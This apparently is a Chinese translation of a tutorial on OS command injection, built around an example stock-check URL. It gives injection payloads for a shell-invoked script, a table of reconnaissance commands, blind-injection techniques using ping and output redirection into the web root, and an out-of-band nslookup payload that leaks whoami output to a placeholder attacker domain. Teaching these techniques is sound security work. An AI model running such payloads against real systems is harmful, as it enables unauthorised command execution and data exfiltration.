考虑一个购物应用程序,它允许用户查看某个商品在特定商店中是否有库存。此信息可通过以下 URL 访问
https://insecure-website.com/stockStatus?productID=381&storeID=29 为了提供商品信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是通过调用带有产品和商店 ID 作为参数的 shell 命令来实现的

stockreport.pl 381 29

由于应用程序没有针对操作系统命令注入实施任何防御,攻击者可以提交以下输入来执行任意命令

& echo aiwefwlguh &##

| 有用的命令| 命令的目的 | Linux |

| 当前用户名 | whoami | whoami |

| 操作系统 | uname -a | ver |

| 网络配置 | ifconfig | ipconfig /all |

| 网络连接 | netstat -an | netstat -an |

| 运行进程 | ps -ef | tasklist |

盲注命令注入


& ping -c 10 127.0.0.1 &

  • 通过重定向输出来利用盲目的操作系统命令注入

您可以将注入命令的输出重定向到 Web 根目录中的文件,然后您可以使用浏览器检索该文件。例如,如果应用程序从文件系统位置提供静态资源/var/www/static,那么您可以提交以下输入
### & whoami > /var/www/static/whoami.txt &

该>字符将whoami命令的输出发送到指定的文件。然后,您可以使用浏览器获取

https://vulnerable-website.com/whoami.txt

以检索文件,并查看注入命令的输出

  • 使用带外技术利用盲操作系统命令注入

& nslookup kgji2ohoyw.web-attacker.com && nslookup whoami.kgji2ohoyw.web-attacker.com &
注入操作系统命令的方法